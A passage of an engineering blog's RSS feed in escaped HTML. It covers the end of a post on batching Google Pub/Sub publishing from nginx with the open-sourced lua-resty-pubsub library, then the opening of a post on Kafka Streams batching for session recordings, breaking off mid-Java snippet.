class=&quot;gatsby-resp-image-image&quot; alt=&quot;lua resty pubsub figure3&quot; title=&quot;lua resty pubsub figure3&quot; src=&quot;/static/c0174eb273f0c46bb7a63c8cb4c625ce/1e043/lua-resty-pubsub-figure3.png&quot; srcset=&quot;/static/c0174eb273f0c46bb7a63c8cb4c625ce/991de/lua-resty-pubsub-figure3.png 173w, /static/c0174eb273f0c46bb7a63c8cb4c625ce/e4d6b/lua-resty-pubsub-figure3.png 345w, /static/c0174eb273f0c46bb7a63c8cb4c625ce/1e043/lua-resty-pubsub-figure3.png 690w, /static/c0174eb273f0c46bb7a63c8cb4c625ce/e3189/lua-resty-pubsub-figure3.png 1035w, /static/c0174eb273f0c46bb7a63c8cb4c625ce/b1001/lua-resty-pubsub-figure3.png 1380w, /static/c0174eb273f0c46bb7a63c8cb4c625ce/29007/lua-resty-pubsub-figure3.png 1600w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Figure 4:&lt;/strong&gt; Send Message operations count for an optimized solution&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/01d9f1e3e785bf7b680e7809e9b9aa83/29007/lua-resty-pubsub-figure4.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 43.35260115606936%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsSAAALEgHS3X78AAABFElEQVQoz42QUY/CIBCE+/9/mWfV5B5arYmnl9NGTa0FFiks0BvUqLkHc5svZFiYWUImhNBEQxzeVAjBpbLM3jr2nrExxmSQPiZrfAl4G3Uv+DK72XMjXCOi42Bs6F1AtjaD4wh9JbIHAWsI9/QIGTI5KlQ+J/C5otmSphVNFlSuz9s9HU98liz1ZbVLR7OlLjdIeZrTVRimlcoXNEkiBVXfdV0fDwfb9xinv3Y0LmFWo8LWze0X0rMf5ifoFOtm/dNutv3hZE8CWYRomPM5ht/enSar8RwzH9AVCD2pNDROP8rXPvBkkh1mBHNHrlXcKddKbrEKNN2NVv6lER7/OkRmzqgTRtFFKkPaev4XztG5U0L+Ainl/IxyipZAAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;lua resty pubsub figure4&quot; title=&quot;lua resty pubsub figure4&quot; src=&quot;/static/01d9f1e3e785bf7b680e7809e9b9aa83/1e043/lua-resty-pubsub-figure4.png&quot; srcset=&quot;/static/01d9f1e3e785bf7b680e7809e9b9aa83/991de/lua-resty-pubsub-figure4.png 173w, /static/01d9f1e3e785bf7b680e7809e9b9aa83/e4d6b/lua-resty-pubsub-figure4.png 345w, /static/01d9f1e3e785bf7b680e7809e9b9aa83/1e043/lua-resty-pubsub-figure4.png 690w, /static/01d9f1e3e785bf7b680e7809e9b9aa83/e3189/lua-resty-pubsub-figure4.png 1035w, /static/01d9f1e3e785bf7b680e7809e9b9aa83/b1001/lua-resty-pubsub-figure4.png 1380w, /static/01d9f1e3e785bf7b680e7809e9b9aa83/29007/lua-resty-pubsub-figure4.png 1600w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Figure 5:&lt;/strong&gt; Byte Cost for publishing messages to brute-force solution&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c0aaf3b8b17c0d8024f3f7d22a71719b/29007/lua-resty-pubsub-figure5.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 43.35260115606936%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsSAAALEgHS3X78AAAA70lEQVQoz51R0W6EIBDk/3+t0XrXpj/QtDEiwsIp7C7YLuo1Num91EwmM+sOZBcVvE/LMntPiF8PvrWUzCwoeS3Ma87CMUYFMfW3pQ/zMEedcEpoIjkkQAYkj+yQPeXA2VYtvyrf5Kyc1ZsLjYbnEdoRGu1aDa12YgWXEd4n9zGa3sEnhKOunbS9GJ+I1GXr6/6Guwq0wAr/1KX/1fgo4cdJ6E6BM/ZwIlbdf8P15qfBbqPWSXbR3m072LNtTlqGRVmYiQiUZclTPGAT7cLEdLYH6nOgLJyYFUwmAFBKmZARhSs2wXS39KteiMBaAPgGXcn1LLOxLEMAAAAASUVORK5CYII=&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;lua resty pubsub figure5&quot; title=&quot;lua resty pubsub figure5&quot; src=&quot;/static/c0aaf3b8b17c0d8024f3f7d22a71719b/1e043/lua-resty-pubsub-figure5.png&quot; srcset=&quot;/static/c0aaf3b8b17c0d8024f3f7d22a71719b/991de/lua-resty-pubsub-figure5.png 173w, /static/c0aaf3b8b17c0d8024f3f7d22a71719b/e4d6b/lua-resty-pubsub-figure5.png 345w, /static/c0aaf3b8b17c0d8024f3f7d22a71719b/1e043/lua-resty-pubsub-figure5.png 690w, /static/c0aaf3b8b17c0d8024f3f7d22a71719b/e3189/lua-resty-pubsub-figure5.png 1035w, /static/c0aaf3b8b17c0d8024f3f7d22a71719b/b1001/lua-resty-pubsub-figure5.png 1380w, /static/c0aaf3b8b17c0d8024f3f7d22a71719b/29007/lua-resty-pubsub-figure5.png 1600w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Figure 6:&lt;/strong&gt; Byte Cost for publishing messages to an optimized solution&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9790456378e926f19989b39871e5af45/29007/lua-resty-pubsub-figure6.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 42.77456647398844%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsSAAALEgHS3X78AAAA2UlEQVQoz3WRiW7DIAyGef+3TNqo0tSL2wYfJZBuzbJZn34Mv80hjHMuxtgUAPSfYObSArFWwlJH5JxNG4iollVVtCEsI9lxCBExR0P+btqmIj/XMXVRuna8klO2SlbICwfdsMquJ1457t5i6qz1pKs2pq4nsV/+cbU5ANzLZr1r2hbjHr25rZ73LBru6Xmz/hniLdPyYbXiy6+T95RZcBaYCCfGmQ+uStr6TQ3ESSgwR6EonLT2vKMjocGoCcKgTNy+yUSXICEUwPJWXBXLp2J38Xsl+RRceAHHYA5kL8YG4wAAAABJRU5ErkJggg==&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;lua resty pubsub figure6&quot; title=&quot;lua resty pubsub figure6&quot; src=&quot;/static/9790456378e926f19989b39871e5af45/1e043/lua-resty-pubsub-figure6.png&quot; srcset=&quot;/static/9790456378e926f19989b39871e5af45/991de/lua-resty-pubsub-figure6.png 173w, /static/9790456378e926f19989b39871e5af45/e4d6b/lua-resty-pubsub-figure6.png 345w, /static/9790456378e926f19989b39871e5af45/1e043/lua-resty-pubsub-figure6.png 690w, /static/9790456378e926f19989b39871e5af45/e3189/lua-resty-pubsub-figure6.png 1035w, /static/9790456378e926f19989b39871e5af45/b1001/lua-resty-pubsub-figure6.png 1380w, /static/9790456378e926f19989b39871e5af45/29007/lua-resty-pubsub-figure6.png 1600w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;so-what-was-the-difference&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#so-what-was-the-difference&quot; aria-label=&quot;so what was the difference permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;So what was the difference?&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;Clearly, the first thing we can notice is a reduction in Average Response time from 7ms to 3ms which is quite significant. Also, 90% of Response times is reduced from 10ms to 4ms which was a huge boost.&lt;/li&gt; &lt;li&gt;Due to low response time, Taurus was able to send requests at DACDN at relatively higher throughput thereby completing his 20M requests 12 minutes earlier than the brute-force solution.&lt;/li&gt; &lt;li&gt;Also, the optimized solution has a higher “Send Message operations count” than the brute-force solution and due to this the same DACDN’s resources were much better utilized.&lt;/li&gt; &lt;li&gt;There was a clear difference in cost in both approaches by 2.5 times. So it would be cheaper for anyone to use the optimized solution for publishing messages at better throughput.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;solution-as-a-library&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution-as-a-library&quot; aria-label=&quot;solution as a library permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution as a Library&lt;/h2&gt; &lt;p&gt;We definitely wanted other lua-nginx developers to benefit from this solution and thus we have open-sourced this approach as a library on GitHub. You can get the library from &lt;a href=&quot;https://github.com/wingify/lua-resty-pubsub&quot;&gt;here&lt;/a&gt; with detailed documentation for helping you out while incorporating this library in your system. If you feel that you can contribute to this library in any way then you are most welcome as an Open-source Contributor.&lt;/p&gt; &lt;h2 id=&quot;core-modules-of-the-library&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#core-modules-of-the-library&quot; aria-label=&quot;core modules of the library permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Core Modules of the library&lt;/h2&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;producer.lua&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Responsible for accepting data from users, validating them, and finally normalizing the optional configurations&lt;/li&gt; &lt;li&gt;Creating as well as monitoring background nginx timers for data accumulation or data push&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;oauth_client.lua&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Responsible for generating OAuth token for authorizing over https when making requests&lt;/li&gt; &lt;li&gt;It also maintains a local cache so that the same token can be used repeatedly before token expiry&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;request.lua&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Maintains all the connection related configurations and errors&lt;/li&gt; &lt;li&gt;Responsible for actually making HTTPS requests to the Pub/Sub server for publishing packets&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;ring_buffer.lua&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Module for storing the accumulated data in a table&lt;/li&gt; &lt;li&gt;Provide methods for push, pop, length, and bytes used for the queue&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h2&gt; &lt;p&gt;Using a combination of Pub/Sub Rest API and Nginx Timers for batching, there are some obvious pros to it: &lt;/p&gt; &lt;ul&gt; &lt;li&gt;Better Pub/Sub write throughput in a non-blocking manner&lt;/li&gt; &lt;li&gt;Reduced Cost by almost 2.5 times while publishing messages to Pub/Sub&lt;/li&gt; &lt;li&gt;Improved response time and data acquisition&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;useful-resources&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#useful-resources&quot; aria-label=&quot;useful resources permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Useful resources&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/openresty/lua-nginx-module&quot;&gt;Lua Nginx Module&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/pubsub/docs/reference/rest&quot;&gt;Google Pub/Sub Rest API&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/pubsub/quotas&quot;&gt;Google Pub/Sub Quotas and limits&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://gettaurus.org/&quot;&gt;Taurus Load Testing tool&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Vasu Gupta</author></item><item><title><![CDATA[Kafka Streams Stateful Ingestion with Processor API]]></title><description><![CDATA[At Wingify, we have used Kafka across teams and projects, solving a vast array of use cases. So, when we had to implement the VWO Session…]]></description><link>https://engineering.wingify.com//posts/kafka-streams-stateful-ingestion-with-processor-api/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/kafka-streams-stateful-ingestion-with-processor-api/</guid><pubDate>Tue, 10 Nov 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At Wingify, we have used Kafka across teams and projects, solving a vast array of use cases. So, when we had to implement the &lt;a href=&quot;https://vwo.com/insights/session-recordings/&quot;&gt;VWO Session Recordings&lt;/a&gt; feature for the new Data platform, Kafka was a logical choice, with Kafka Streams framework doing all the heavy lifting involved with using Kafka Consumer API, allowing us to focus on the data processing part. This blog post is an account of the issues we faced while working on the Kafka Streams based solution and how we were able found a way around them.&lt;/p&gt; &lt;h3 id=&quot;the-problem&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-problem&quot; aria-label=&quot;the problem permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Problem&lt;/h3&gt; &lt;p&gt;Batching write operations to a database can significantly increase the write throughput. It can also become a necessity in situations when you have to adhere to quotas and limits. In one of our &lt;a href=&quot;https://engineering.wingify.com/posts/leveraging-kafka-streams-to-reduce-db-hits/&quot;&gt;earlier&lt;/a&gt; blog posts, we discussed how the windowing and aggregation features of Kafka Streams allowed us to aggregate events in a time interval and reduce update operations on a database. What we wanted to do for the recordings feature was quite similar. The way we wanted to batch updates to an external sink for a particular customer&apos;s data was to fire an update if either :&lt;/p&gt; &lt;ol&gt; &lt;li&gt;The number of events for that customer exceeded a certain threshold.&lt;/li&gt; &lt;li&gt;Or, a certain amount of time had elapsed since the last update.&lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;implementation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#implementation&quot; aria-label=&quot;implementation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Implementation&lt;/h3&gt; &lt;p&gt;The batching strategy we wanted to implement was similar to functionality frameworks like Apache Beam provide through the concept of windows and triggers. Kafka Streams provides the functionality of time-based windows but lacks the concept of triggers. Nevertheless, with an application having nearly the same architecture in production working well, we began working on a solution.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2020/10/kafka-streams-flow-diagram.png&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; &lt;b&gt;Architecture diagram for Kafka Streams application generated using &lt;a href =&quot;https://app.diagrams.net/&quot;&gt;draw.io&lt;/a&gt;&lt;/b&gt;&lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;h3 id=&quot;the-solution---first-attempt&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-solution---first-attempt&quot; aria-label=&quot;the solution first attempt permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Solution - first attempt&lt;/h3&gt; &lt;p&gt;Our first solution used Kafka Streams DSL &lt;a href=&quot;https://kafka.apache.org/21/javadoc/org/apache/kafka/streams/kstream/KStream.html#groupBy-org.apache.kafka.streams.kstream.KeyValueMapper-&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;groupByKey()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://kafka.apache.org/21/javadoc/org/apache/kafka/streams/kstream/KGroupedStream.html#reduce-org.apache.kafka.streams.kstream.Reducer-org.apache.kafka.streams.kstream.Materialized-&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;reduce()&lt;/code&gt;&lt;/a&gt; operators, with the aggregation being performed on fixed interval time windows.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Visitor&lt;/code&gt; Java class represents the input Kafka message and has JSON representation :&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;customerId&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1234&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;visitorId&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;42F77D2D52A343F487C313BC77A312D0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;action&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;click&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;VisitorAggregated&lt;/code&gt; Java class is used to batch the updates and has the JSON representation :&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;customerId&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1234&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;events&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;visitorId&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;42F77D2D52A343F487C313BC77A312D0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;action&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;click&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;visitorId&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;198CCCA1A0F74BF19FDC80F282F21A5C&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;action&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;scroll&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The snippet below describes the code for the approach&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;Serde&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Visitor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; visitorSerde &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span 